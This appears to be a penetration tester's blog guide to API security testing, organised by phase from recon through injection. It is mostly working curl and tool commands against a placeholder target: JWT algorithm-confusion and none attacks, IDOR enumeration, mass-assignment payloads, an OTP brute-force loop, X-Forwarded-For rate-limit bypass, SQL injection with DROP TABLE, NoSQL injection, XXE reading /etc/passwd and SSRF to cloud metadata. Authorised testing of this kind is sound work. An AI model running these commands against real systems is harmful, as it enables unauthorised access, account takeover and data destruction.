> API Security Testing: A Practical Methodology_
APIs are the attack surface of modern applications. While companies spend millions securing their frontends, the APIs they expose often have weaker controls, no WAF coverage, and direct access to business logic that would be sandboxed on the web layer.
This is a working methodology — the order I follow on a real engagement, the commands I run, and the bugs I look for.
## Phase 1: Reconnaissance
### Find the API surface
Before you test, you need to know what endpoints exist.
# Pull JavaScript bundles from the app and grep for API paths
curl https://target.com | grep -oP '"/api/[^"]*"' | sort -u
# Check common docs locations
curl https://target.com/swagger.json
curl https://target.com/openapi.json
curl https://target.com/api/v1/docs
curl https://target.com/graphql # GET request often returns playground
# Common API versioning patterns
ffuf -w /usr/share/wordlists/api-endpoints.txt -u https://target.com/api/FUZZ -mc 200,201,401,403Postman collections leaking: Some companies accidentally publish their Postman workspaces publicly. Search:
site:postman.com "target.com"
### Identify the API type
- >REST: Standard HTTP verbs, JSON/XML responses, typically
/api/v1/resource/{id} - >GraphQL: Usually
/graphql, single endpoint, POST withquery:field - >gRPC: Binary, requires proto files — less common in web apps
- >SOAP: XML,
Content-Type: text/xml,SOAPActionheader
## Phase 2: Authentication testing
### No auth / broken auth
# Does the endpoint require auth?
curl -X GET https://target.com/api/v1/users
# Remove or empty the Authorization header
curl -H "Authorization: " https://target.com/api/v1/users/profile
# Replace Bearer token with "null" or "undefined"
curl -H "Authorization: Bearer null" https://target.com/api/v1/admin### JWT attacks
# Decode JWT (without verifying)
echo "eyJh..." | cut -d'.' -f2 | base64 -d 2>/dev/null | jq .
# Algorithm confusion: change alg from RS256 to HS256
# Sign the modified token with the server's public key as the HMAC secret
python3 jwt_tool.py <token> -X a -pk public.pem
# None algorithm attack
python3 jwt_tool.py <token> -X n
# jwt-tool full suite
python3 jwt_tool.py <token> -M at -t https://target.com/api/v1/profile### API key testing
# Check if API key validation is actually enforced
curl -H "X-API-Key: INVALID_KEY_12345" https://target.com/api/v1/data
# Test key scope — does a low-privilege key access admin endpoints?
curl -H "X-API-Key: LOWPRIV_KEY" https://target.com/api/v1/admin/users## Phase 3: BOLA / IDOR (Broken Object Level Authorization)
BOLA (Broken Object Level Authorization) is the #1 API vulnerability. The API correctly checks that you're authenticated but doesn't check that you're authorised to access that specific object.
# Create two accounts: attacker (A) and victim (V)
# Log in as V, find your user ID / resource ID
# Switch to A's token, try V's IDs
# Enumerate by incrementing IDs
for i in {100..200}; do
curl -s -H "Authorization: Bearer ATTACKER_TOKEN" \
"https://target.com/api/v1/users/$i/profile" \
-o /dev/null -w "$i: %{http_code}\n"
done
# Try GUIDs too — not security by obscurity, but endpoints may expose them in responses
curl -H "Authorization: Bearer ATTACKER_TOKEN" \
"https://target.com/api/v1/orders/3f2504e0-4f89-11d3-9a0c-0305e82c3301"Where to look beyond /users/{id}:
/api/v1/documents/{id}
/api/v1/messages/{id}
/api/v1/invoices/{id}
/api/v1/reports/{id}/download
/api/v1/admin/users/{id} ← vertical privilege escalation
## Phase 4: Broken Function Level Authorization
BFLA: A user can call functions they shouldn't have access to — often admin endpoints.
# Swap HTTP methods
curl -X DELETE https://target.com/api/v1/users/42 # Should you be able to delete users?
curl -X PUT https://target.com/api/v1/users/42/role -d '{"role":"admin"}'
curl -X POST https://target.com/api/v1/admin/promote -d '{"userId":42}'
# Check for admin endpoints with regular user token
ffuf -w admin-paths.txt -u https://target.com/api/v1/FUZZ \
-H "Authorization: Bearer USER_TOKEN" -mc 200,201## Phase 5: Mass Assignment
The API accepts fields it shouldn't, allowing users to overwrite internal properties.
# Registration endpoint — try adding admin/role/balance fields
curl -X POST https://target.com/api/v1/users/register \
-H "Content-Type: application/json" \
-d '{"username":"attacker","password":"pass123","role":"admin","verified":true}'
# Profile update — try adding fields you don't control in the UI
curl -X PUT https://target.com/api/v1/users/me \
-H "Authorization: Bearer TOKEN" \
-H "Content-Type: application/json" \
-d '{"name":"test","balance":99999,"isAdmin":true,"credits":1000}'How to find valid field names: look at GET responses for the object — the returned JSON shows you what fields exist. Try setting each one via PUT/PATCH.
## Phase 6: Rate limiting and resource abuse
# Basic rate limit check — how many requests before 429?
for i in {1..100}; do
curl -s -o /dev/null -w "%{http_code}" \
-X POST https://target.com/api/v1/auth/login \
-d '{"username":"user@test.com","password":"wrong"}' && echo
done
# Rate limit bypass techniques
# 1. Rotate IPs (X-Forwarded-For)
curl -H "X-Forwarded-For: 1.2.3.$i" https://target.com/api/v1/otp/verify
# 2. Add null bytes to the body (some parsers create a "different" request)
# 3. Change Content-Type (JSON vs. form-encoded — same logic path, different rate limit bucket)
# 4. Add random query params to bypass caching/dedup
# Test OTP/2FA endpoint specifically
for code in {000000..999999}; do
curl -X POST https://target.com/api/v1/verify-otp -d "{\"code\":\"$code\"}" &
done## Phase 7: GraphQL-specific
# Introspection — get the full schema
curl -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{ __schema { types { name fields { name } } } }"}'
# If introspection is disabled, try field suggestions (GraphQL often suggests valid names)
# Use Clairvoyance tool to reconstruct schema:
python3 clairvoyance.py -u https://target.com/graphql -o schema.json
# Batching attacks — run multiple auth attempts in one request
curl -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-d '[{"query":"mutation { login(user:\"admin\",pass:\"pass1\") { token } }"},
{"query":"mutation { login(user:\"admin\",pass:\"pass2\") { token } }"}]'
# IDOR via GraphQL
curl -X POST https://target.com/graphql \
-d '{"query":"{ user(id: 1337) { email ssn creditCard } }"}'## Phase 8: Input validation
# SQL injection — APIs often skip WAFs
curl -X GET "https://target.com/api/v1/products?search='; DROP TABLE products;--"
curl -X GET "https://target.com/api/v1/users?id=1 OR 1=1"
# NoSQL injection (MongoDB)
curl -X POST https://target.com/api/v1/auth/login \
-H "Content-Type: application/json" \
-d '{"username":{"$ne":""},"password":{"$ne":""}}'
# XXE in XML APIs
curl -X POST https://target.com/api/v1/import \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0"?><!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>'
# SSRF via URL parameters
curl "https://target.com/api/v1/fetch?url=http://169.254.169.254/latest/meta-data/"
curl "https://target.com/api/v1/webhook?callbackUrl=http://internal.service.local/admin"## Tools
| Tool | Use |
|---|---|
| Burp Suite | Proxy, Repeater, Intruder for manual API testing |
| ffuf | Fast endpoint discovery |
| httpx | Probe URLs at scale |
| jwt-tool | JWT attacks |
| Arjun | Find hidden HTTP parameters |
| Clairvoyance | GraphQL schema reconstruction without introspection |
| Nuclei | Template-based API vulnerability scanning |
| RESTler | Automated stateful REST API fuzzing |
## OWASP API Security Top 10 — quick reference
| # | Name | One-liner |
|---|---|---|
| API1 | BOLA | Object-level auth not checked |
| API2 | Broken Auth | Bad JWT, no expiry, weak creds |
| API3 | BOPLA | Property-level exposure in responses |
| API4 | Unrestricted Resource Consumption | No rate limiting |
| API5 | BFLA | Function-level auth not checked |
| API6 | Unrestricted Access to Sensitive Flows | OTP brute force, mass password reset |
| API7 | SSRF | URL parameters hitting internal services |
| API8 | Security Misconfiguration | Verbose errors, open CORS, old TLS |
| API9 | Improper Inventory Management | Forgotten /v1 endpoints when /v3 is prod |
| API10 | Unsafe Consumption of APIs | Trusting upstream API responses blindly |
APIs deserve the same rigour as web apps — but they're tested less, documented less, and often have direct database access that the web tier doesn't. That's where the real bugs live.